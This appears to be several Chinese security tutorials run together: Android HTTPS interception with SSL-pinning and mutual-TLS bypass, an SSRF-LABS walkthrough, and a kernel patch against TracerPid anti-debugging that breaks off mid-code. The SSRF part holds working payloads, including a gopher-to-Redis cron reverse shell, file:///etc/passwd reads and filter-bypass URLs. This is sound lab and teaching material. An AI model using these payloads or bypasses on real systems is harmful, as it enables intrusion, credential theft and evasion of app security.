Android抓包总结

前言

这篇文章算是总结一下我之前抓包遇到的一些问题, 个人属性里带bug, 所以遇到的问题会比较多, 算是给大家提供一个抓包抓不到应该如何解决的思路。

工具介绍

Android中可用的抓包软件有fiddler、burpsuite、Charls、HttpCanary、Packet Capture、tcpdump、wireshark等等。tcpdump和wireshark可以解决部分不是使用HTTP/HTTPS协议传输数据的app, 用tcpdump抓包, 用wireshark分析数据包。

如果想抓取三大运营商传输的数据包并分析, 因其路由规则的限制, 可能还是需要在android系统中利用iptables设置反向代理, 用Fiddler解密数据包之后分析, 不过好像Fiddler好像有自己的反向代理设置方法, 这部分了解不多。

Charls是Mac上常见的抓包工具, 我没用过, 不过网上蛮多教程的。HttpCanary和Packet Capture这两个工具与常规的电脑上的代理抓包不同的是, 能保证一定能抓取到数据包, 我一般都用Packet Capture来验证应用是否发送请求。HttpCanary被称为移动端的Fiddler, 能够改包和劫持双向认证的应用传输的数据包, 感觉还是蛮强大的。

Fiddler抓取Android数据包

基础设置

  1. 下载好Fiddler之后, 打开该软件, 生成证书。

设置连接

设置HTTPS

用ipconfig查看当前主机的ip

手机和电脑在同一局域网中即可, 手机端设置WLAN种给网络设置代理, 选择对应的WLAN, 选中修改网络, 手动设置代理, 主机名填上面电脑ip地址, 端口写fiddler默认端口8888。

手机端用浏览器访问http://电脑IP:8888, 观察网络是否访问成功, 成功之后, 点击”FiddlerRoot.certificate”下载Fiddler的证书并安装。

如果上述步骤都原原本本做完了, 还是不能出现上图的效果, 可以换个路由或者直接手机开热点。我当时遇到不能访问的问题, ping了一下, 一直显示destination unreachable, 应该是路由器安全规则的限制, 换成了手机开热点就ok了。

继续进行测试的时候, 发现不管是修改密码还是用验证码进行登录, 我都抓不到那些包。想不出是哪里出了问题…..大概找了一下, 发现是SSL Pinning的机制阻止了我抓包。使用了Xposed+JustTrustMe, 就抓取到数据包了, 数据包如下:

如果知道Fiddler怎么抓包了, 不知道怎么改包, 可以用Fiddler左下角的黑框框中断请求, 修改之后再发出, 比如输入bpu baidu.com就可以中断所有发向baidu.com的请求。

之后查看中断的数据包会出现如下效果, 修改完点击Run to Completion就可以把请求发出去了。

Fiddler设置之后手机无法连接上代理

  1. 关闭电脑防火墙

  2. 打开注册表(cmd-regedit), 在HKEY_CURRENT_USER\Software\Microsoft\Fiddler2下创建一个DWORD, 值置为80(十进制)[在空白处右键即可创建]。

  1. 编写fiddlerScript rule:在Fiddler上点击Rules->Customize Rules, 用Ctrl+F查找OnBeforeRequest方法添加一行代码。
1
2
3
4
5
if (oSession.host.toLowerCase() == "webserver:8888") 
{
        oSession.host = "webserver:80"; 
}

Burpsuite抓取Android数据包

基础设置

Burpsuite改包的步骤就不在这里赘述了, 网上有很多教程, 接下来我们要设置burpsuite, 以求抓取到数据包, 设置如下:

提示, 监听的端口号、电脑内网ip要和手机上的代理设置一致, 电脑内网ip可以用ipconfig查看。用burpsuite一直抓取不到https的证书, 怀疑是我burpsuite证书没有安装到手机上, 所以我现在先将它装到系统证书中, 再看看能不能先抓取到https的证书。

安装证书至系统中

1、下载.der格式的证书, 将下载的cacert.der转换格式, 并获取证书hash值, 生成<证书hash>.0文件, 例如:7bf17d07.0

2、把<证书hash>.0证书push到/data/local/tmp目录下后移动至/system/etc/security/cacerts/
(mv操作出错之后, 先试一下“mount -o rw,remount /system”如果出现了报错“mount: ‘/system’ not in /proc/mounts”, 再尝试“mount -o rw,remount /”, 就可以操作system目录了)

3、重启手机

只有root环境才能将proxy证书安装至android系统证书中, 这种方法好像能绕过应用本地证书校验, 其实burp和Fiddler还有其他的代理证书的安装方法都差不多, 最后将.0的文件mv至/system/etc/security/cacerts/目录下即可, 不建议直接将用户证书直接mv, 可能会导致环境出错也不好排查证书错误, 甚至可能导致android网络环境出错。

下面是具体步骤, 先在设置本地代理, 将burpsuite证书下载下来

打开浏览器输入本地地址, 下载.der格式的证书

此处参照文章BrupSuit证书导入Android7.0以上手机, 因为我windows本地安装了ubuntu的子系统, 所以直接用ubuntu1604子系统对证书进行操作。

1
2
3
4
// 转换证书的格式
$ openssl x509 -in cacert.der -inform DER -out cacert.pem -outform PEM
// 提取证书的hash
$ openssl x509 -inform PEM -subject_hash -in cacert.pem

上图中的7bf17d07就为证书的hash值, 将该目录下生成的7bf17d07.0文件push到手机中, 最后移动到/system/etc/security/cacerts/目录下

1
2
3
4
5
$ adb push 7bf17d07.0 /data/local/tmp
$ adb shell
sailfish:/ $ su
sailfish:/ # mount -o rw,remount / # 拥有操作/目录的权限, 本意是要操作/system目录
sailfish:/ # mv /data/local/tmp/7bf17d07.0 /system/etc/security/cacerts/7bf17d07.0

按照原本的文章应该给7bf17d07.0文件添加644权限, 但是我具体操作的时候没有添加权限也成功了, 如果按照我上面的步骤出错了, 可以尝试给文件添加权限。重启之后可以看到证书安装成功。

第一次安装证书的时候出现了不能访问使用https协议的网站, 应该是我测试的手机环境出现了问题, 我重新刷机再按照上面的步骤走一遍就成功了, 如果你们也遇到访问https网站失败的问题, 可以尝试一下使用这个方法。

Android抓包介绍

抓包最重要的是看能不能抓取到数据包, 想要抓到包就要看app使用什么传输协议了, 一般情况下使用HTTP都是能抓到包的, 这也就不难理解, 为什么google坚持推广HTTPS了。为什么说使用HTTPS会抓不到包?现在的HTTPS都是基于TLS协议的, 它的特点就是需要确认传输双方的身份。确认了身份之后再传输数据, 这样就能避免中间人攻击了。下面来看看HTTPS, 是怎么进行数据传输的, 发现HTTPS需要先建立连接才能传输数据。

讲到要认证对方的身份, 我就想起了之前翻译的一篇HTTP安全), 里面就有提及到在使用HTTPS协议的过程中, 客户端和服务器通过证书来判断对方的身份。之前没有怎么理解, 现在才对证书的作用有比较深刻的理解。

文章中举了个例子, Chrome浏览器通过判断是否有证书来判断你访问的网站是否安全的, 并不是你访问的网站真的是安全的。提及这个是因为app使用HTTPS传输也是看证书的, 只不过有的app限制的比较严格只信任自带的证书, 有的app安全要求没那么高, 直接信任系统证书。

抓包出错排查思路

上面是大概的排查思路, 具体的细节可能有些差异。如果proxy带有证书校验, 且JustTrustMe绕不过去, 可能要自己重新根据该应用定制hook模块, 去绕过其本地证书校验, 但是大部分应用都能通过将证书安装为系统证书绕过, 如果无法在root环境下运行, 文章《Intercepting traffic from Android Flutter applications》和JustTrustMe的源码应该能给你提供一点hook模块绕过证书校验的思路, 《Intercepting traffic from Android Flutter applications》讲的是如何绕过google开源框架Flutter中的证书校验进行抓包。

最后说抓不到包还有一种可能性, 就是要求一定要用SIM卡发出传输请求的数据包….不过这个应该应该只有使用了三大运营商的SDK或他们的应用才会出现这种情况, 这部分应该只能用反向代理才有可能抓取到传输的数据包了, 具体情况就要具体分析了。

当时尝试tcpdump+wireshark效果不怎么样, 因为所有的数据都经过了加密, 而wireshark不能解密, 所以对于加密传输的数据包这种方法可能有点鸡肋, 听说有mitmdump抓包工具专门处理linux环境下http/https的数据包, 不过我自己没用过, 之后要是接触了会进一步补充。

SSL pinning和双向认证的区别

SSL pinning实际上是客户端锁定服务器端的证书, 在要与服务器进行交互的时候, 服务器端会将CA证书发送给客户端, 客户端会调用函数对服务器端的证书进行校验, 与本地的服务器端证书(存放在\<app>\asset目录或\res\raw下)进行比对。

而双向认证是添加了客户端向服务器发送CA证书, 服务器端对客户端的证书进行校验的部分, 具体详情可看文章扯一扯HTTPS单向认证、双向认证、抓包原理、反抓包策略的单向认证、双向认证部分的内容。

抓取HTTPS的数据包

绕过SSL双向校验

其实SSL双向校验是在SSL单向校验的基础上, 在说明这部分内容的时候同时也会有绕过SSL单向校验详细的步骤。参考文章Android平台HTTPS抓包解决方案及问题分析, 我们可以先用sxxl.app来练练手。

在手机上设置完代理之后, 点击完确认, 发现app出现如下弹窗:

在这个时候查看Fiddler会发现应用没有发出任何请求, 这是因为app会对服务器端的证书进行校验, 这时候我们前面安装的Fiddler证书就不起作用了, 应用在发现证书是伪造的情况下拒绝发送请求。根据这个报错+抓不到包, 我们可以确定应用是存在单向校验的, 也就是SSL pinning, 让我们先来解决SSL pinning的问题。使用JustTrustMe可以绕过客户端的证书校验, 下面勾选上JustTrustMe, 在Xposed框架下使用JustTrustMe绕过SSL pinning。

绕过SSL pinning之后, 就能使用Fiddler抓取到HTTPS的数据包了。

我随便输入了一个手机号码, 按下确定之后, 服务器回传了400的状态码过来, 说需要发送证书以确认客户端的身份。到这一步基本能确定是存在双向校验的了, 接下来的工作就是绕过SSL服务器端的校验了。

如果服务器端会对客户端证书进行校验, 证书应该就直接存放在apk里, 网上与SSL双向校验相关的文章都将证书放到<app>/asset目录下, 也就是app的资源目录下, 也有可能放在/res/raw目录下。直接将app解压之后, 发现证书的位置如下:

如果找半天没找到就用关键词.p12/.pfx搜索证书文件。

在我们要使用该证书的时候, 需要输入安装证书的密码。这时候就需要从源码中获取安装证书的密码了。可能是因为多个dex文件的原因, 直接用JEB反编译的时候出错了, 所以我用GDA反编译来分析应用的源代码

获取安装证书的密码

发现通过关键词”PKCS12”能够定位到加载证书的位置。

上图第二个红框中的load函数的第二个参数其实就是证书的密钥, 追根溯源, 我们可以知道v1参数是下图中调用的函数的返回值。

上图的函数的功能就是传递p0参数, 也就是说p0参数就是证书安装密码。想获取这个密码, 关键在于Auto_getValue函数。到这一步, 只要跟进Null_getStorePassword函数看看就好了。

跟进去发现调用了native层的函数, 查看init函数中具体加载的是哪个so文件:

用IDA反编译soul-netsdk之后, 搜索字符串”getStorePassword”, 就定位到函数getStorePassword上了, F5之后, 获得伪代码和密钥:

代理添加客户端证书

HttpCanary添加客户端证书进行抓包的过程可以参照文章Android平台HTTPS抓包解决方案及问题分析, 在自己头昏的时候也感谢这篇文章的作者MegatronKing点醒我。下面主要讲解Fiddler和burpsuite添加客户端证书的方法。

fiddler操作过程

尝试一下用Fiddler处理这部分的内容来安装客户端的证书, 用来绕过双向认证。

用Fiddler抓取该应用的数据包的时候, 发现Fiddler出现了上面的弹窗, 提示要添加ClientCertificate.cer, 才能抓取到传输的数据包, 不然只会出现400的状态码。而我们文件目录下只能找到client.p12client.crt两种格式的证书文件, 所以我们需要将已有的client证书转换成.cer格式的证书。

好像应用中只出现.p12格式的证书的情况比较常见, 所以下面只会提及如何使用openssl将.p12格式的证书转换成.cer/.der格式的证书。(.der和.cer格式的证书仅有文件头和文件尾不同)

下面的命令实现了证书的格式转换, .p12->.pem->.cer, 在生成.pem格式的证书之后, 需要输入证书的密码, 也就是我们上面逆向获取的证书密码。最后将ClientCertificate.cer移动到之前Fiddler弹窗出现的目录下, 也就是<Fiddler安装路径>\Fiddler2下。

1
2
3
4
5
# 将.p12证书转换成.pem格式
$ openssl pkcs12 -in client.p12 -out ClientCertificate.pem -nodes
Enter Import Password:
# 将.pem证书转换成.cer格式
$ x509 -outform der -in ClientCertificate.pem -out ClientCertificate.cer

现在打开Fiddler尝试抓包, 发现原本显示400的数据包现在能够正常抓取到了, 如果还是不能正常抓取到, 双击client.p12将证书安装到本地试试看。

burp操作过程

手机的burpsuite证书安装成功之后, 我们会发现只能抓取到400的状态码。

因为要绕过服务器端对证书的验证, 我们还需要在这里添加上面我们在asset目录下找到的证书。

安装完就能正常抓取数据包了, 不过我在抓取应用的https的数据包的时候失败了, 尝试过将证书安装至android系统中, 但是还是不能用burpsuite抓取到数据包, HttpCanary也能抓取并绕过双向认证, 具体方式可看文章Android平台HTTPS抓包解决方案及问题分析)。

抓取TCP的数据包

现在还不知道怎么能够获取TCP的数据包并对其中的内容进行解密, 不过之前在看雪上看到一篇分析使用TCP传输协议的文章某直播APP逆向TCP协议分析, 我大概看了一下, 文章是从逆向的角度分析的, 具体怎么从渗透的角度发现是TCP协议传输的数据包还没有分析过, 看作者使用了wireshark抓取应用的数据包并进行分析, 这个还是要重新分析一下的。

结语

文章最后, 还要感谢华华师傅, 其实实习的时候接触android的时间也不长, 但是之后真的让我接触到很多和学到很多, 也谢谢师傅能耐心地帮我解答问题, 感恩。

SSRF-LABS指南

SSRF-LABS指南

前言

在网上找到一个学习SSRF的环境,SSRF-LABS有一个好看又简洁的界面,提供了最基本的REST API和客户端WebHook功能用于SSRF测试。前面只是大概的介绍,知道就好,不用花费过多精力了解。

SSRF介绍

服务端请求伪造,用户通过WEB访问/上传/发出请求,绕过服务器防火墙,获取服务器及其内网信息。SSRF可以说是一个媒介,结合服务器中的服务,常常可以形成一条完整的攻击链。

环境准备

我的环境是Ubuntu16.04,如果使用其他的系统,可能安装docker的方法不同,可以到网上搜一下。下面为安装docker的步骤。

1
2
$ curl -sSL https://get.docker.com/ | sh #脚本安装docker
$ apt install docker-compose #安装docker compose

先按照下面的命令把basic这一关搭建好,其他的基本相同。在创建容器的时候避免出冲突,端口8999在设置要注意,避免与本地已开启端口产生冲突。

1
2
3
4
5
6
$ git clone https://github.com/m6a-UdS/ssrf-lab.git
$ cd ~/ssrf-lab/basics #进入basics文件夹
$ docker build -t ssrf-lab/basic . #构建镜像
$ docker run -d -p 8999:80 ssrf-lab/basic #创建容器
$ docker ps #查看ssrf-lab/basic容器编号
$ docker stop [容器编号] #关闭容器

在Advances系列的文件夹还有ctf中没有dockerfile文件,只有docker-compose.yml文件,这时候我们就要在构建镜像的时候就换docker-compose来创建镜像并开启容器了。

1
2
3
$ cd ~/ssrf-lab/advanced1 # 进入advanced1目录下
$ docker-compose up -d #开启容器
$ docker-compose down #关闭容器

在开启容器的时候的时候出了问题,因为在官网找不到urllib2的下载路径,编辑~/ssrf-lab/advanced2/flask-webserver文件,去掉其中的urllib2。

Part 1:basic

实验过程

打开页面,OUTGOING WEBHOOK部分输入的https://yourhandler.io/events是有REST API监听的需要测试项目,在SEE THE RESULT的部分会显示请求响应的结果和状态码。输入https://yourhandler.io/events的位置就可以作为一个测试点。

我们先用http://127.0.0.1进行测试。

发现数据显示出来了,说明这里没有对内网IP进行限制。

为了进一步进行测试,我们来了解一下URL的结构。

1
scheme://user:pass@host:port/path?query=value#fragment

从结构中我们可以看出不同的SSRF的利用姿势,有协议、URL绕过等等。这一关就尝试从协议入手,用file协议代替http协议或者https协议。在测试点输入file:///etc/passwd我们可以得到用户文件,我们也可以通过这样的方式获得其他文件。

成功之后我们可以通过深挖配置文件和源代码进行我们进一步的渗透,比如获得数据库的用户凭证。这里成功实现是因为URL没有经过严格的过滤,更准确地说应该是完全没经过过滤,下一关不会这么简单了。

SSRF协议中的利用

看了很多教程都是结合Redis服务一起讲的,为了方便介绍下面几个协议,我们先在ssrf-basics容器里面安装该服务。

1
2
3
4
$ docker ps #查看容器编号
$ docker exec -it [ssrf-lab/basics容器编号] /bin/bash #进入容器
$ apt-get install redis-server # 安装redis服务
$ redis-server #开启redis服务

这一关可以利用协议收集信息及反弹shell,都是没用协议白名单的锅,导致多个协议利用起来毫无阻力。

file

上面尝试的过的file:///etc/passwd就是利用了file协议,利用这个协议可以读取主机内任意文件。

dict

利用dict协议,dict://127.0.0.1:6379/info可获取本地redis服务配置信息。

还可以用dict://127.0.0.1:6379/KEYS *获取redis存储的内容

Gopher 协议

通过Gopher协议可以反弹shell,下面为具体的exp

1
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

这个看起来不太清晰,urldecode之后,就可以看到具体的命令。下面为解码之后的内容,我把关键的redis指令放到同一行中。

在页面能看到如下的回显

为了验证是否成功了,我在ssrf-lab/basics容器里面查看插入的KEY值。

Part 2:Advance1

实验过程

这一关用了正则表达式限制内网IP的访问,具体的代码如下。必须要吐槽一下,这个方法真的是一个很糟糕的方法,因为它实际上不能起到很好的安全防护作用。

1
2
3
4
5
6
7
if (preg_match('#^https?://#i', $handler) !== 1) {
echo "Wrong scheme! You can only use http or https!";
die();
} else if (preg_match('#^https?://10.0.0.3#i', $handler) === 1) {
echo "Restricted area!";
die();
}

现在我们就用http://10.0.0.3来测试

我们可以很明显地看到没有获得响应,但是神奇的IP地址有多种表达方式,我们可以用这些方式来绕过上面那么直白的限制。先用整数表达http://167772163发出请求。

成功了,我们可以来看看IP地址的表达方式。众所周知,IP地址是由四个字节组成的,一旦包含了小数点,就必须考虑到大小端表示,因为这个会影响IP地址的解析。不过好在所有的网络地址都是大端表示法,只需要注意这一点即可,下面我们介绍IP地址的表达方式。

1
2
3
4
字符串: 10.0.0.3
二进制: 00001010 . 00000000 . 00000000 . 00000011
十六进制: 0A.00.00.03
整数: 167772163

这些表达方式都能被curl命令解析为正确的IP地址,之后如果我们要访问的IP地址被简单粗暴地过滤了就可以试试这种方法。除了上面的表达方式之外,还可以用16进制0x0A000003表示IP地址,还有一个很少人知道的绕过小姿势,就是用8进制代替10进制来表示IP地址。在计算机的世界里,一旦在20前面加个0就会变成8进制,比如http://01200000003实际上还是http://10.0.0.3。上面两个表达方式,PHP的curl模块能解析出来。

下面总结一下几种变形

1
2
3
十六进制: http://0x0A.0x00.0x00.0x03
八进制: http://012.00.00.03
八进制溢出:http://265.0.0.3

最后一个变形好像只适用于NodeJS应用的服务器,点分十进制的最大值为255,一旦超出了这个数,将会被重置,这个时候最后一个变形就会变回http://10.0.0.3。具体为什么可以通过这样的可能要从TCP/IP解析IP地址的逻辑入手(应用层的限制总能被巧妙地绕过,不是很可靠)。

其他常见的绕过方法

DNS泛域名

xip.ioxip.name这两个dns泛域名,实现绕过的方法是,你在你想访问的ip地址后面添加这两个泛域名,这两个域名会从你发出的请求中提取你真正想访问的IP地址,然后再响应报文中返回。感兴趣的可以看看DNS服务系列之一:泛域名解析的安全案例

1
2
3
4
5
http://www.10.0.0.3.xip.io
http://mysite.10.0.0.3.xip.io
http://foo.bar.10.0.0.3.xip.io
http://foo.10.0.0.3.xip.name
http://www.10.0.0.3.xip.name

还有很多其他的绕过方式,因为在这个环境里不能实现,所以就不在这里补充了,SSRF漏洞的利用与学习一文中比较全面。没有仔细研究过为什么Python写的后端代码不能实现其他绕过,不过我猜是因为Python的urllib和PHP的curl解析方式不同,如果以后有机会,会深究一下里面到底有什么不同。

Part 2:Advance2

在安装这个环境的时候,一定要注意端口的配置,如果出现了ERROR: Pool overlaps with other one on this address space的报错,可以按照移除docker网络这篇文章进行操作,记得先将docker给关掉。如果之后还有方法可以避免产生这个报错,例如正确地修改配置文件之类的,我会补充在后面。已经尝试过更改docker-compose.yml文件中的端口不起作用了。

这一关为了避免和上一关一样,代码中没有自己实现IP解析的功能,而是选择调用python2.7自带的库函数解析IP地址,具体代码如下:

1
2
3
4
5
6
url=request.form['handler']
host = urlparse.urlparse(url).hostname
if host == 'secret.corp':
return 'Restricted Area!'
else:
return urllib.urlopen(url).read()

上面的代码用了python2.7中的urlparse模块来解析url,该模块能够解析多个协议。获取了url中host参数之后,再对域进行判断。

跟第一个环境一样,我们先用http://secret.corp来测试。

URL解析器分析出这部分内容是访问已被限制的域,下面要介绍一个新的知识点了,我们先来测试一下它能不能起作用。在测试点输入http://google.com# @secret.corp

绕过这个到底是基于什么原理呢?让我们再次回顾一下url的结构

1
scheme://user:pass@host:port/path?query=value#fragment

原来http://google.com# @secret.corp@后面的secret.corp是真正要访问的host,前面的google.com#绕过了urlparse的解析。感觉很神奇而且让人有点摸不着头脑,了解一下原理会好很多。SSRF漏洞产生的根本原因是url中有空格(
CRLF注入),这让python中的两个模块解析url的时候起了冲突,urlparse认为host是google.com,而urllib则认为真正的host是secret.corp并且直接发出了请求。

为了进一步阐述上面漏洞利用的原理,用python写几行代码来验证一下,如果有点混乱,可以再看看上面的源代码,用urlparse解析URL进行判断是先于调用urllib发出请求的。下图为urlparse解析的结果,在python2.7和python3.5两个版本中都是一致的

为了能够进一步验证urllib能否正确接收到,在VPS上输入命令nc -lvvv 9444监听本地9444端口,再按照下面命令通过python发送请求:

1
2
3
4
$ python
$ import urllib
$ url = "http://google.com# @[VPS的IP地址]:9444"
$ urllib.urlopen(url).read()

之后在开启监听端口的服务器可以接收到如下的回显:

验证完毕。

advanced3

advanced3感觉作者代码不完整,感觉像在测试阶段,尝试过修改源代码,但是实际情况并不如我所想。所以这里就不丰富这部分内容了,如果之后作者对这部分题目有修改,我会对这部分内容进行补充。

ctf exp

下面是ctf题目获取flag的方法,因为我我不是亚马逊的服务器,所以获取不了flag,如果想尝试的,可以看看这篇文章

最后这个题目大家可以作为练习,到最后才看payload…..懒人就不重复说前面的内容了,来试试自己掌握了没有吧!

1
2
3
4
1 http://secret1.corp
2 file:///etc/passwd
3 http://10.38 #a000026、167772198
4 http://google.com# @secret3.corp

尝试绕过TracePID反调试——从源码入手

绕过TracePid反调试二

第一篇文章是直接修改二进制文件尝试绕过TracerPID反调试

前言

接受了评论的建议, 但是因为之前手机还没好加上没试过直接修改kernel的源码, 所以花了很多时间(都是环境惹的祸)。还有因为这个接触了shell code, 真的是一言难尽。事先说明, 下面的环境准备都是在国外的服务器上直接运行的, 难免有一些命令是需要翻墙的, 所以你实际上要用的命令可能跟我的有点不同(如果可以直接用代理之类的, 应该没多大影响)。

开发环境

Ubuntu 18.10(建议用Ubuntu 16.04, 至少2MB内存)
Android 6.0.1
Nexus 5

Ubuntu环境搭建

Java环境准备

下文Java环境搭建都是基于Ubuntu 18.10的, 如果你尝试过不能在自己的Ubuntu环境下使用, 可以到google上找找看, 应该能找到你想要的。如果不是为了之后Android源码调试, 只是为了修改kernel文件可以先不搭建Java环境。

下载JDK

  1. 为了下载最新的JDK, 可以现在Ubuntu的命令行里面先输入javac, 会显示下面的内容, 按照它提供的命令即可下载最新的JDK。
  2. 很不快乐的是Java 6和Java 7需要有Oracle的账号, 所以只要去Orcle注册一个账号, 就可以下载Java 7Java 6了(Java 7是压缩包, Java 6是一个二进制文件)。文章末尾附有两个jdk文件的链接

    安装JDK

    因为先安装了Java 8在路径/usr/lib/jvm目录下, 所以将文件文件jdk-6u45-linux-x64.binjdk-7u80-linux-x64.tar.gz都用mv命令移到上述目录下。
    1
    2
    root@vultr:~/[jdk 6存放的位置]# mv jdk-6u45-linux-x64.bin /usr/lib/jvm/
    root@vultr:~/[jdk 7存放的位置]# mv jdk-7u80-linux-x64.tar.gz /usr/lib/jvm/

解压jdk 6, 进入到/usr/lib/jvm目录下, 先给该文件读写的权限, 之后运行该二进制文件就会在当前目录下生成一个新的文件夹。

1
2
3
root@vultr:~/[jdk 7存放的位置]# cd /usr/lib/jvm
root@vultr:/usr/lib/jvm# chmod +x jdk-6u45-linux-x64.bin
root@vultr:/usr/lib/jvm# ./jdk-6u45-linux-x64.bin

解压jdk 7

1
root@vultr:/usr/lib/jvm# tar -zxvf jdk-7u80-linux-x64.tar.gz

为了我们能够在Ubuntu里面自由自在地切换Java版本, 我们可以先写个脚本将jdk-6和jdk-7添加到候选项中。先输入命令vim alternativeJava.sh, 并将下面的内容直接复制到alternativsjava.sh文件里。

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
JAVAHOME=$1
if [ -d $JAVAHOME ];then
sudo update-alternatives --install /usr/bin/java java $JAVAHOME/bin/java 300
sudo update-alternatives --install /usr/bin/javac javac $JAVAHOME/bin/javac 300
sudo update-alternatives --install /usr/bin/jar jar $JAVAHOME/bin/jar 300
sudo update-alternatives --install /usr/bin/javah javah $JAVAHOME/bin/javah 300
sudo update-alternatives --install /usr/bin/javap javap $JAVAHOME/bin/javap 300
else
echo "Wrong input"
exit 0
fi

用命令chmod+x alternativsjava.sh, 给脚本添加权限, 否则脚本会不能运行。输入命令./alternativsjava.sh /usr/lib/jvm/jdk1.7.0_80之后(脚本后面添加的路径是你jdk解压后的文件路径),用sudo update-alternatives --config java(切换java版本命令)进行检验。

准备Android源码运行环境

以下内容仅编译内核, 并假设你还没有下载整个 AOSP源。因为我要编译的内核版本过旧, 所以用的都是旧的教程, 如果有要编译新的内核的要求的话, 可以看看这两篇文章, Compiling an Android kernel with Clang编译内核

安装所需的软件包

在Ubuntu 14.04中如果下载git出问题, 可以看看这篇文章How To Install Git on Ubuntu 14.04

输入下述命令。

1
$ sudo apt-get install git-core gnupg flex bison gperf build-essential zip curl zlib1g-dev gcc-multilib g++-multilib libc6-dev-i386 lib32ncurses5-dev x11proto-core-dev libx11-dev lib32z-dev libgl1-mesa-dev libxml2-utils xsltproc unzip

下载源码

在下载之前先获取手机的内核版本, 从下面的信息可知道手机内核的git short commit idcf10b7e

因为内核版本比较旧, 所以按照旧版的官方内核编译手册来, 而不是按照新版的内核编译手册来。如果内核比较新的, 还是直接用repo吧!接下来可以从官方手册上看到, 我需要的kernel源代码位于哪个branch, 然后从github上clone下来。

输入命令, 先将msm这个项目clone下来。(这一步花的时间可能会有一点点长)
$ git clone https://android.googlesource.com/kernel/msm.git

因为我用的是国外的服务器, 所以可以直接从google服务器下下来。如果是自己搭建的机器且觉得开代理太麻烦的话, 可以换成下面的命令。
$ git clone https://aosp.tuna.tsinghua.edu.cn/kernel/msm.git

将msm从github上clone下来之后, 会发现里面是个空的, 只有一个.git仓库。进入msm目录下, 用git branch -a查看分支。(我的文件路径跟图片下的不符, 实际上应该是/AndroidKernel/msm)

现在就要用到我们之前获取的short commit id(显示的是实际的commit id的前7位)了, 直接检出我们需要的代码的分支。
git branch -r --contains <your short commit id>

从上面的图片我们可以知道, 本地实际上只有master这一个分支, 这时候我们需要做的事就是在远程分支的基础上再分一个本地分支。

1
$ git checkout -b android-msm-hammerhead-3.4-marshmallow-mr3 origin/android-msm-hammerhead-3.4-marshmallow-mr3

安装GCC交叉编译器

之前不是很能理解为什么官方网站没说要下载这个东西, 之后在How to Build a Custom Android Kernel这篇文章里面看到。因为一般我们需要编译的kernel源代码都是基于arm架构编译运行的, 所以直接放在我们64位的Ubuntu里面是不合适的。也可以跟官方一样直接通过USB连接手机直接进行调试。

~/AndroidKernel执行如下命令(下载现在Linux环境下的arm编译接口)。这个编译接口尽量别尝试arm-eabi-4.8以上的, 因为旧的内核和交叉编译器不匹配会出现很多麻烦, 例如现在Google已经弃用了gcc, 在最新的交叉编译器里面只能用clang, 即使make操作加了参数CC=clang也会在出现很多很麻烦的报错。所以我这里为了匹配, 用的是旧的交叉编译器。

1
$ git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-eabi-4.6

在这里尝试了一下清华的AOSP源, 也是可以直接用的。参考贴出来的google的url, 直接将里面的https://android.googlesource.com/全部改成https://aosp.tuna.tsinghua.edu.cn/即可。详情可参考Android 镜像使用帮助

1
$ git clone https://aosp.tuna.tsinghua.edu.cn/platform/prebuilts/gcc/linux-x86/arm/arm-eabi-4.6

添加环境变量

添加环境变量总共有两种方法, 一种是短期的, 开机重启之后就会失效, 一种是长期的。

第一种:在~/AndroidKernel目录下执行以下命令。

1
$ export PATH=~/AndroidKernel/arm-eabi-4.6/bin:$PATH

第二种:在~/.bashrc中添加环境变量
$ vim ~/.bashrc

之后在文件末尾添加export PATH=<交叉编译API存放的文件根目录>/arm-linux-androideabi-4.9/bin:$PATH

为了让这个配置立马生效, 我们可以用下面的命令
$ source ~/.bashrc

修改源码

修改前准备+修改源码

如果觉得不想知道为什么要修改base.carray.c文件, 可以跳过现在这一段, 直接从下一段“修改msm/fs/proc/base.c文件”开始看就好了。

我将msm/fs/proc目录下的文件都下载到本地(都是先修改完成的), 安装了Source Insight来分析源码。proc文件, 是以文件系统的方式为访问系统内核的操作提供接口, 动态从系统内核中读出所需信息的。这也就说明, 我们想要修改的TracePid也是通过这个文件中获取到的。

我们想获取进程信息的时候, 一般会输出下述内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
>cat /proc/self/status
Name: cat
State: R (running)
Tgid: 5452
Pid: 5452
PPid: 743
TracerPid: 0 (2.4)
Uid: 501 501 501 501
Gid: 100 100 100 100
FDSize: 256
Groups: 100 14 16
VmPeak: 5004 kB
VmSize: 5004 kB
VmLck: 0 kB
VmHWM: 476 kB
VmRSS: 476 kB
VmData: 156 kB
VmStk: 88 kB
VmExe: 68 kB
VmLib: 1412 kB
VmPTE: 20 kb
VmSwap: 0 kB
Threads: 1
SigQ: 0/28578
SigPnd: 0000000000000000
ShdPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 0000000000000000
SigCgt: 0000000000000000
CapInh: 00000000fffffeff
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: ffffffffffffffff
Seccomp: 0
voluntary_ctxt_switches: 0
nonvoluntary_ctxt_switches: 1

在上述Status信息中我们需要关注的两个部分, 一个是State字段, 一个是TracePid字段。因为这两个字段都可反映出进程是否被监测。详情可参考 proc.txt line 209line 215

proc手册查找/proc/[pid]/stat, 我们可以知道Status是在fs/proc/array.c定义的, 我们就先从array.c入手。

先打开查看调用关系的窗口, View->Panels->Relation Windows

array.c文件中搜索status, 找到函数proc_pid_status, 之后查看该函数调用与被调用的信息。

Relation Window中双击get_task_state函数, 就找到了我们想找的TracePid。这个就是我们要修改的第一处了。

TracePid 通常都是对父进程 pid 进行检测, 这里将 ppid 改为 0, 这样不管是否为调试状态, TracePid 都无法检测出。修改的结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
180 seq_printf(m,
181 "State:\t%s\n"
182 "Tgid:\t%d\n"
183 "Pid:\t%d\n"
184 "PPid:\t%d\n"
